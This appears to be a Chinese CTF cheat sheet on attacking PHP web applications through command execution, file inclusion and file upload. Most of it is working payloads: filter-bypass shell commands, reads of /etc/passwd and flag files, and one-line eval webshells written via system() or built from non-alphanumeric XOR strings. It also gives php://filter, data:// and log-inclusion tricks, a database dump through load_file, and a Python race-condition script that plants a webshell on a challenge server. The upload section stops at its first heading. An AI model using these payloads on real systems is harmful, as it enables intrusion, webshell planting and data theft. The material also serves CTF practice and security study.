WEB--命令执行.文件包含.文件上传

目录

命令执行

命令执行函数

Windows常见管道符

Linux常见管道符

空格绕过

分号绕过

黑名单绕过

cat替代

ls 替代

URL请求中system()函数

长度绕过

像是文件包含

scandir('/')被禁用

Linux 的内置变量

无字母数字等RCE

无参数RCE

自增RCE

临时文件

文件包含

伪协议

一些路径

日志包含

session 对话--条件竞争

文件上传

(1)服务器解析漏洞

(2)00截断上传

(3)构造图片木马上传绕过

(4)大小写绕过

(5)文件头绕过

(6)文件后缀名绕过

(7).htaccess

(8).user.ini

(9)array_map()函数

(10)日志包含

(11) 图片二次渲染

(12)条件竞争

(13)免杀绕过

(14)不正常后缀

杂列

参考


文件上传  上传的是可执行文件,从某种意义上说,文件上传漏洞最终的目的就是执行任意命令
文件包含   常用到伪协议

命令执行

命令执行函数

 
php代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort(),class_exists等
php命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、curl_exec、popen()、proc_popen()、passthru()等(反引号)、Curly Syntax(花括号语法)
php代码执行函数
        1.preg_replace() 
                preg_replace()的第一个参数如果存在/e 模式修饰符,则允许代码执行。 
如果没有 /e 修饰符,则可以尝试 %00 截断。
php命令执行函数

Windows常见管道符

a|b:先执行命令a,再执行命令b,并将命令a的输出作为命令b的输入,无论命令a结果如何都会执行命令b,像流水线一样
a||b:先执行命令a,再执行命令b,表示或的关系,命令a失败才会执行命令b
a&b:先执行命令a,再执行命令b,不管命令a成功与否都会执行命令b
a&&b:先执行命令a,再执行命令b,表示与的关系,命令a成功才会执行命令b

Linux常见管道符

Windows常见管道符在Linux中同样适用
Linux中还多了一个管道符';'其与&的用法相同

空格绕过

%20(space)
${IFS}
$IFS$9  --  IFS后的$与{}作用类似,都起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符,因此可以绕过空格,9也可以换成其他数字
%09  --  需要php环境,水平制表符
<  --  重定向
<>  --  重定向
%0a 换行符
换页符
垂直制表符
url编码
或将这些符号 16进制编码
{,}


%09,%20,
%0a,%0b,%0c,%0d,%a0
${IFS},$IFS,$IFS$n //n为1~100,如$IFS$9
<,<>
$IFS$9,$IFS,$*,%09,${IFS},<,<>,$IFS$1,\t

分号绕过

在bash下可以用%0a换行符

黑名单绕过

(1)单引号、双引号绕过,如cat fl''ag.php、cat fl""ag.php
单引号 l''s
双引号 l""s
反引号 l``s
反斜线 l\s

(2)空变量$1到$9,$@,$*等绕过,如cat fl$1ag.php、cat fl$2ag.php、cat fl$@ag.php
(3)反斜杠绕过,如cat fl\ag.php
(4)base64编码绕过,如echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh等价于cat flag.php,有时候sh被过滤也可以选用bash解释器
    十六进制
    echo "6c73" | xxd -r -p|bash   --执行了ls ,而且十六进制前面的\x不需要加,bash也可以换成sh
    八进制
    $(printf "\154\163")  文本到八进制-将文本字符转换为八进制值-photo333.com

(5)字符拼接,如a=g;cat$IFS$9fla$a.php等价于cat flag.php,
    a=l;b=s;$a$b   --执行ls
    对于拼接的方式有很多种,需要进行尝试
    ?c=eval($_GET[1]);&1=system('tac flag.php');

(6)读文件绕过,既当cat被过滤时
more  --  一页一页显示文档内容
less  --  与more类似
head  --  查看头几行
tail  --  查看尾几行
vi、vim  --  编辑器查看
​nl
tac

(7)使用通配符绕过,
cat f*
cat fla?.php

(8)有权限还可以***
?c=system('echo \'<?php @eval($_REQUEST["cmd"]); ?>\' > eval.php');

(9)Shell 脚本或命令行中,反引号` ` 和 $() 用于执行命令并获取其输出 // ESC 加~
?c=echo `ls`;

(10)无参数函数      // 下面有提到
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

(11) ?> 是为了闭合前面的 php 语句,因为分号被过滤了,

(12)其它
/flag,flag.php,/f*,/fla*,
/fl''ag,fl''ag.php,/fl""ag,fl""ag.php,
/f\lag,f\lag.php,
/f'l'ag,/f"l"ag,f'l'ag.php,f"l"ag.php,
/fl?g ,fl?g.php,
/[e-g]lag,[e-g]lag.php,/[a-z]lag,
fla?.???,/????,????.???,/f*g,
/f{l,a,g},f{l,a,g}.php,/f+l+a+g,/f.l.a.g,
/666c6167,/FLAG

cat替代

cat,tac,more,head,tail,nl,strings,sort,less,awk,sed,grep,base64,rev,od,vi,vim,uniq,c\at,ta\c,m\ore,he\ad,ta\il,n\l,str\ings,so\rt,le\ss,a\wk,s\ed,gr\ep,ba\se64,re\v,o\d,v\i,vi\m,un\iq,c''at,ta''c,m''ore,he''ad,ta''il,n''l,str''ings,so''rt,le''ss,a''wk,s''ed,gr''ep,ba''se64,re''v,o''d,v''i,vi''m,un''iq,/bin/c?t ,/???/c?t

    more
        用途:主要用于分页显示文件内容,适合查看较长的文本文件。当文件内容超过一屏时,会逐页显示,方便用户查看。
        示例:more large_file.txt ,按空格键翻页,按 Enter 键逐行查看。
    less
        用途:功能比 more 更强大,支持向前和向后翻页、搜索等操作。对于大文件的查看更为高效,因为它不需要将整个文件加载到内存中。
        示例:less huge_file.log ,使用 PageUp 和 PageDown 键翻页,/ 键进行搜索。
    head
        用途:用于显示文件的开头部分,默认显示前 10 行。可通过 -n 选项指定显示的行数。
        示例:head -n 5 file.txt 显示 file.txt 的前 5 行。
    sort
        用途:对文本文件进行排序,默认按字典序排序。可通过选项指定按数字、日期等排序。
        示例:sort -n numbers.txt 按数字顺序对 numbers.txt 中的内容进行排序。
    tail
        用途:显示文件的末尾部分,默认显示最后 10 行。可通过 -n 选项指定显示的行数。
        示例:tail -n 3 log.txt 显示 log.txt 的最后 3 行。
    sed
        用途:流编辑器,可对文本进行替换、删除、插入等操作。
        示例:sed 's/old/new/g' file.txt 将 file.txt 中所有的 old 替换为 new。
    cut
        用途:从文本文件中提取指定的列。可根据分隔符将每行分割成多个字段,并选择特定字段输出。
        示例:cut -d ',' -f 2 data.csv 以逗号为分隔符,提取 data.csv 中的第二列。
    awk
        用途:功能强大的文本处理工具,可逐行处理文本,支持自定义处理逻辑和条件语句。
        示例:awk '{print $1}' file.txt 打印 file.txt 每行的第一个字段。
    strings
        用途:从二进制文件中提取可打印的字符串,常用于查看可执行文件或库文件中的文本信息。
        示例:strings binary_file 提取 binary_file 中的可打印字符串。
    od
        用途:以不同格式(如八进制、十六进制)显示文件内容。
        示例:od -x file.bin 以十六进制格式显示 file.bin 的内容。
    curl
        用途:用于在命令行中传输数据,支持多种协议,可用于下载文件或与 Web 服务交互。
        示例:curl -O http://example.com/file.txt 下载 http://example.com/file.txt 文件。
    tac
        用途:与 cat 相反,tac 是将文件内容按行逆序输出。
        示例:tac file.txt 逆序显示 file.txt 的内容。
    nl
        用途:给文件的每一行添加行号,然后输出。
        示例:nl file.txt 为 file.txt 的每行添加行号并输出。
    vi
        用途:是一个强大的文本编辑器,可用于查看和编辑文件内容。
        示例:vi file.txt 打开 file.txt 文件进行查看和编辑。
    uniq
        用途:用于去除文件中相邻的重复行。通常与 sort 命令结合使用,先排序再去重。
        示例:sort file.txt | uniq 对 file.txt 排序后去除相邻重复行。
    rev
        用途:将文件中每行的字符顺序反转。
        示例:rev file.txt 反转 file.txt 中每行的字符顺序。
    cp
        用途:用于复制文件或目录。
        示例:cp source.txt destination.txt 将 source.txt 复制为 destination.txt。
    mv
        用途:用于移动文件或目录,也可用于重命名文件或目录。
        示例:mv old_name.txt new_name.txt 将 old_name.txt 重命名为 new_name.txt。
    grep
        用途:在文本中查找指定的字符串或模式。
        示例:grep 'keyword' file.txt 在 file.txt 中查找包含 keyword 的行。

补充命令

    bat
        用途:是 cat 的一个增强替代品,它会对代码文件进行语法高亮显示,还会显示行号,使文件内容更易读。
        示例:bat script.py 以语法高亮的方式显示 script.py 的内容。
    pico
        用途:一个简单易用的文本编辑器,可用于查看和编辑文件内容,操作相对简单,适合初学者。
        示例:pico file.txt 打开 file.txt 进行查看和编辑。

    wget
        用途:要下载 https://example.com/file.zip 文件,可以使用以下命令:


        示例:wget https://example.com/file.zip


 Linux 有很多命令存放在 /bin/ 目录下,
?c=/bin/?at${IFS}f???????

ls 替代


    find 命令
        功能对比:ls 主要用于快速列出当前或指定目录下的文件和文件夹,操作相对简单直接。而 find 命令功能更强大且灵活,它不仅能列出文件和目录,还能基于多种条件(如文件名、文件类型、文件大小、修改时间等)在指定目录及其子目录下进行深度查找。
        示例:ls /tmp 快速列出 /tmp 目录下的内容;find /tmp -name "*.log" 会在 /tmp 目录及其子目录下查找所有扩展名为 .log 的文件。
    tree 命令
        功能对比:ls 以列表形式展示目录内容,对于复杂的目录结构,层级关系不够直观。tree 命令以树状结构展示目录及其子目录下的所有内容,能清晰呈现目录的层级结构。
        示例:ls /var 以列表形式显示 /var 目录下的内容;tree /var 以树状形式展示 /var 目录及其子目录的详细层级结构。
    dir 命令
        功能对比:在 Windows 系统的命令提示符中,dir 是用于列出目录内容的标准命令。在功能上与 Linux 系统的 ls 命令类似,都是简单地列出目录中的文件和文件夹。
        示例:在 Windows 命令提示符中输入 dir C:\Users 列出 C:\Users 目录下的内容,在 Linux 中则可以用 ls /home 列出 /home 目录下的内容。
    stat 命令
        功能对比:ls 通常只显示文件和目录的基本信息,如文件名、权限、所有者、大小、修改时间等。stat 命令专注于显示单个文件或目录的详细属性,包括设备 ID、inode 号、链接数、访问时间等更底层的信息。
        示例:ls -l /etc/passwd 显示 /etc/passwd 文件的基本信息;stat /etc/passwd 显示 /etc/passwd 文件的详细属性信息。

其他类似命令

    gls 命令
        功能对比:gls 是 GNU 版本的 ls 命令,在 GNU 环境下提供了与 ls 相同的核心功能,同时可能还会有一些额外的特性或选项。在支持 GNU 工具的系统中,gls 可以替代 ls 使用。
        示例:gls -al 与 ls -al 功能相同,以长格式显示当前目录下包括隐藏文件在内的所有内容。
    exa 命令
        功能对比:exa 是 ls 命令的现代替代品,它提供了更丰富的功能和更美观的输出格式。除了基本的文件和目录列表功能外,exa 还支持语法高亮、彩色输出、显示 Git 状态等。
        示例:exa --git 不仅列出目录内容,还会显示每个文件或目录的 Git 状态信息。
    lsd 命令
        功能对比:lsd 同样是 ls 的增强版,它在输出格式上进行了优化,提供了更清晰、美观的显示效果,支持图标显示、树形结构展示等功能。
        示例:lsd --tree 以树状结构展示当前目录及其子目录的内容,并带有图标,使输出更加直观。
    vdir 命令
        功能对比:vdir 实际上是 ls -l 的一个别名,它默认以长格式列出目录内容,功能与 ls -l 相同。
        示例:vdir 等同于 ls -l,会以长格式显示当前目录下的文件和文件夹信息。

URL请求中system()函数

1)十六进制绕过
?code="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");        --system("cat /etc/passwd");
2)点括号绕过
?code=(sy.(st).em)(whoami);

3)设定参数绕过
?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET[b].$_GET[c]);

4) 插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)
php -r "system/*caixukun*/(whoami);"
php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"
php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

长度绕过


前备知识:

1.linux中>和>>

1)>写入文件,如果文件存在则覆盖,如果文件不存在则创建文件

    echo 'hello world'>2.txt
    #先echo(无回显),再写入2.txt

2)>>写入文件,如果文件存在则追加在文件最后面,不存在则创建

2.命令换行(\)

    [root@yf ~]# ca\
    >t \
    >flag\
    >.txt

  #命令行执行 cat flag.txt

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

这是我加单反斜线时可以执行,但是我发现双反斜线时也能执行

原因是:linux 单引号中\无法起转义作用,\\ 也视为一个字面的反斜杠 \

不过当把上述指令中的单引号('')全部换为双引号("")时,就必须使用双反斜线了,因为

双引号中,反斜线(\)允许实现转义功能。

?cmd=ls | tee 1.txt

像是文件包含

echo "      "
c=print_r(scandir('/'))
c=var_dump(scandir('/'))
c=var_export(scandir('/'));
c=echo(scandir("/")[6]);exit();
php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。


c=load_file('flag.php')
c=show_source('flag.php');
c=highlight_file('flag.php');
c=readfile("flag.php");
c=include("1.txt"); // 对于 txt 文件, include 进行包含就可以直接看到文件内容:
c=require("/flag.txt");

c=copy("flag.php","flag.txt"); 然后直接访问
rename 函数 将flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多

c=echo file_get_contents("flag.php");
c=print_r(file("flag.php"));   


include ('flag.php')
include ('php://fliter/convert.base64-encode/resource= /flag.php')
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
include ($_GET[file]);
?file=pHp://input<?php phpinfo()?>
?file=data://text/plain,<?=`tac flag.php`;
?file=/var/log/nginx/access.log

c=show_source('flag.php');
c=highlight_file('flag.php');
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=print_r(file("flag.php"));    
c=copy("flag.php","flag.txt");   执行后直接访问 flag.txt
rename 函数

glob协议获取目录

scandir('/')被禁用,glob协议获取目录

glob协议
主要功能是遍历根目录(/)下的所有文件和目录,并将它们的名称打印输出

// 读取根目录
/****************************法1*****************************************/
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);
?>


/*****************************法2****************************************/
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);


/*****************************法3(多打印\n)****************************************/
$a = opendir("glob:///*"); // 打开根目录,并将目录句柄赋值给$a
while (($file = readdir($a)) !== false) { // 循环读取目录中的每个条目
    echo $file . "<br>"; // 输出每个条目的名称,并添加HTML换行标签
};
exit(); // 终止脚本执行


/*********************************************************************************/
/*********************************************************************************/
// 打印flag.txt  // include("/flag.txt")
/*********************************************************************************/
/*********************************************************************************/


或者找代码  当前页面      https://myon6.blog.youkuaiyun.com/article/details/140079942
           使用数据库    https://myon6.blog.youkuaiyun.com/article/details/140099168

mysql load_file 读文件

c=try {
    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
    $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
    
    // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
        // 输出读取到的内容,并追加一个竖线(|)
        echo($row[0])."|";
    }
    
    // 将数据库连接对象设置为null,关闭连接
    $dbh = null;
} catch (PDOException $e) {
    // 如果发生PDO异常,输出错误信息
    echo $e->getMessage();
    // 终止脚本执行
    die();
}
 
// 终止脚本执行
exit();

当然我们也可以查一下有哪些数据库:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

查 ctftraining 数据库下的所有表:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

查该表下的列名:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

查询具体字段信息:

c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();
 
 

调用 C 语言的 system 函数

        用 PHP 中的 FFI(Foreign Function Interface)来调用 C 语言的 system 函数,并执行一个 Shell 命令。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);

Linux 的内置变量

在 Linux 系统中,有许多内置变量(环境变量)用于配置系统行为和存储系统信息。

(1)$BASH

描述:指向当前使用的Bash解释器的路径。
示例:/bin/bash
用途:用于确定正在使用的Bash版本和路径。

(2) $PATH

描述:存储一系列路径,这些路径用于查找可执行文件,当你在命令行中输入命令时,系统会在这些路径中查找对应的可执行文件。
示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
用途:影响命令的查找和执行,可以添加自定义脚本或程序的路径。

(3)$HOME

描述:当前用户的主目录路径。
示例:/home/username
用途:表示当前用户的主目录,通常用于存储用户配置文件和个人数据。

(4)$PWD

描述:当前工作目录(Present Working Directory)。
示例:/home/username/projects
用途:表示当前的工作目录路径,常用于脚本和命令中获取或显示当前目录。

(5)$USER

描述:当前登录的用户名。
示例:username
用途:表示当前用户的名称,常用于显示或检查用户信息。

(6)$SHELL

描述:当前用户的默认shell。
示例:/bin/bash
用途:表示用户登录时使用的默认shell路径。

(7)$UID

描述:当前用户的用户ID。
示例:1000(普通用户),0(root用户)
用途:标识当前用户的唯一ID。

(8)$IFS

描述:内部字段分隔符(Internal Field Separator),用于分割输入的字段,默认为空格、制表符和换行符。
示例:默认值为<space><tab><newline>
用途:影响脚本中的字段分割,常用于处理输入和解析文本。

(9) $RANDOM

它会生成一个随机数,长度一般是 4 位或者 5 位,也就是说我们可以得到 4 或者 5 。

详细:https://myon6.blog.youkuaiyun.com/article/details/140145005
https://myon6.blog.youkuaiyun.com/article/details/140150453
当然题目还给了其他 payload:

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

在Bash中,${#var} 的语法用于获取变量 var 的长度(即字符数)。

这种形式可以应用于任何变量,无论是字符串变量还是环境变量。

我们知道 ${HOME} 是 /root,因此 ${#HOME} 就是 5。




$PWD 应该是 /var/www/html(网页服务所在的常见路径);
而 $PATH 的结尾应该也是 /bin(这个在前面我们已经测试过了)。
在Bash中,${#var} 的语法用于获取变量 var 的长度(即字符数)。



nl flag.php
${PATH:~Q}${PWD:~Q} ????.???


${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~Q}? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???


无字母数字等RCE

不用字母数字等构造命令

payload:

?code=(~%8F%97%8F%96%91%99%90)();   #phpinfo()
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5); #system('cat /f*');

  payload 1:

   <?php
    $_=('!'^'@').('^'^'-').('^'^'-').('@'^'%').('^'^',').('^'^'*');   //assert
    $__=('{'^'_').('!'^'~').('}'^'-').('/'^'`').('('^'{').('*'^'~').('%'^'~').('!'^'~').('}'^' ');  //$_POST[_]
    $_($__);    //assert($_POST[_]);
    ?>

payload 2:(有必要时对双引号中字符进行url编码,此处可以把后面双斜杠后面去掉就可以使用了)

    <?php
    $_ = "!((%)("^"@[[@[\\";   //构造出assert
    $__ = "!+/(("^"~{`{|";   //构造出_POST
    $___ = $$__;   //$___ = $_POST
    $_($___[_]);   //assert($_POST[_]);

无参数RCE

主要
1、getallheaders()     //获取流量包里的协议头
2、get_defined_vars()  //获取已定义的所有数组
3、session_id()
 
配套
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。

next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。

payload理解:

getallheaders()用于获取所有HTTP头里面的键值
end(getallheaders())用于指向HTTP头里的最后一个值
current(getallheaders())用于指向HTTP头里的第一个值   //pos同理,就是current的变名。
system(end(getallheaders()))则执行HTTP头中最后一个的值。 即实际shellcode=system('ls /');
step1:读取当下目录
?exp=var_dump(scandir(current(localeconv())));
step2:颠倒一下数组顺序
?exp=var_dump(array_reverse(scandir(current(localeconv()))));
step3:颠倒顺序之后在index.php基础上读取下一个,就是flag.php
?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));
step4:高亮读取flag.php文件。
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
step4:读取码源才可以看flag。
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
?exp=print_r(scandir(current(localeconv())));
getallheaders()
code=eval(end(getallheaders()));
code=eval(pos(getallheaders()));
get_defined_vars()
exp=eval(end(current(get_defined_vars())));&test=system(ls);
session_id()
import requests
import binascii

url = 'https://97a5ecc3-3507-4d54-bf86-0076b21bddb2.challenge.ctf.show/?c=eval(hex2bin(session_id(session_start())));'
exp = "system('ls');"  # 构造恶意代码
exp_hex = binascii.hexlify(exp.encode()).decode()  # 编码为十六进制字符串

cookies = {
    'PHPSESSID': exp_hex
}

r = requests.get(url=url, cookies=cookies)
print(r.text)

?c=session_start();system(session_id());

再次抓包即可看到 cookie 多出了 PHPSESSID 这:修改 PHPSESSID 为我们希望执行的命令,即可实现命令执行:

自增RCE

适用于未过滤  $ _ []

<?php
$_=[].'';         //空数组[]→字符串
$___=$_[$__];     //$__没有定义→默认0。$_在这里引申为字符串。故综合理解$___可以为 字符串(0)→ 'A'
$__=$___;         //这个时候$__为'A'
$_=$__;          //此时$_为'A'
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__;
                  //此时$_表示'S';
$___.= $__;      //把'S'加到'A'后面去→得到'AS'
$___.= $__;      //再次将$__追加到$___后面,现在$___的值为'ASS'
//同理一路下去得到payload:Assert($_POST[_]);

临时文件

    有时网站会把我们上传的文件存放在tmp目录下,形式为/tmp/phpxxxxxx

    关于. 的命令执行,当.与文件名搭配时,会执行该文件中的命令(前提:该文件有执行(x)权限)。

    例如,./1.txt 表示在当前目录下执行名为 1.txt 的shell脚本。

    当发现权限不够时,则执行指令:

        chmod +x 1.txt
        ./1.txt

文件包含

伪协议

1. php://filter伪协议
    条件:需要开启allow_url_fopen=on
    用法:?file=php://filter/read=convert.base64-encode/resource=xxx.php
    解释:通过指定末尾文件,可以读取经base64加密后的文件源码,能够读取敏感文件
2. php://input伪协议
    条件:需要开启allow_url_include=on
    用法:?file=php://input
    解释:在url中输入?file=php://input,数据通过POST传过去,可以写入木马,可以命令执行
3. zip://伪协议
    条件:PHP版本>=5.3.0,或者需要手动将#编码成%23
    用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名]
    解释:通过在本地新建一个文件test.php,并且压缩成test.zip压缩包,之后便可以用zip伪协议包含test.php
4. phar://伪协议
    用法:?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
    解释:与zip://伪协议类似但用法不同,区别在于用/把压缩文件路径和压缩文件内的子文件名分隔开
5. data:text/plain伪协议
    条件:需要开启allow_url_fopen=on和allow_url_include=on
    用法1:?file=data:text/plain,<?php 执行内容 ?>
    用法2:?file=date:text/plain;base64编码后的php代码
    解释:与php伪协议的input类似,可以执行任意代码但是利用条件和用法不同,并且经过base64编码后的加号和等号要手动进行url编码,以免浏览器识别不了
6. file://伪协议
    用法:?file=file://文件绝对路径
    解释:用于访问本地文件系统,不受allow_url_fopen和allow_url_include的影响
7. compress.zlib:// 协议
    用法:?file=compress.zlib://flag.php
    解释:在 PHP 中,compress.zlib:// 是一种封装协议(wrapper),它允许对文件进行压缩或解压缩操作。当使用 compress.zlib:// 作为文件路径的前缀时,PHP 会尝试以 Zlib 压缩格式读取或写入文件。

?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter/write=string.rot13/resource=sh.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

php://filter/read=string.strip_tags|convert.base64-decode/resource=hack.php
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

?file=compress.zlib://flag.php
?file=php://filter/resource=flag.php

一些路径

url=file:///var/www/html/flag.php
/etc/passwd 是 Linux 和类 Unix 系统中一个重要的文件,它包含了系统用户的基本信息,如用户名、用户 ID、组 ID、家目录等。

/var/www/html/flag.php 是一个具体的文件路径。flag.php 可能是一个包含敏感信息(如 CTF 比赛中的 Flag 信息)或者关键业务逻辑的 PHP 文件。

/var/www/html 在 Linux 系统里通常是 Web 服务器(如 Apache、Nginx)的默认文档根目录,
url=http://127.0.0.1/flag.php
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

日志包含

此方法需要未过滤  点 ' . '  ,可在过滤冒号“  :” 后使用

对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和
 /var/log/nginx/error.log 


中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。 

session 对话--条件竞争

session_unset()只是清空会话变量,但会话仍然存在。
session_destroy()完全销毁会话,包括会话数据和会话ID。
两者常常一起使用,以确保会话数据被清除,并确保会话本身被销毁

system("rm -rf /tmp/*"); 删除我们上传的文件,其实 session.upload_progress.cleanup = on 本身就会进行清空

    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);

以上对于我们这里的条件竞争影响不大,条件竞争可以继续使用

        在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行

import requests
import io
import threading
 
 
url='https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show/'
sessionid='ctfshow'
data={
	"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  
 
'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''
 
 
# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(
			url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)
 
 
# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
	while True:
		response=session.post(
			url+'?file=/tmp/sess_'+sessionid,
	        data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		# 访问木马文件,如果访问到了就代表竞争成功
		resposne2=session.get(url+'muma.php')
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)
 
if __name__ == '__main__':
 
	evnet=threading.Event()
	# 写入和访问分别设置 5 个线程。
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()
 
	evnet.set()

    对于前端脚本扩展名的检测,可以先修改一个合法的扩展名绕过前端的检测,再使用burp抓包对扩展名进行修改,以此来绕过前端的检测;此外也可以直接在检查页面将selectFile函数删掉
    对于Content-Type检测文件类型的绕过,同样可以使用burp进行抓包修改数据包中文件的Content-Type类型,使其符合白名单的规则,从而实现绕过
    对于后端服务器扩展名检测的绕过,需要首先上传后端服务器允许的文件后缀名,比如test.php.abc,在文件上传到服务器上之后,再通过一些手段使得服务器对该文件识别成test.php

文件上传

(1)服务器解析漏洞

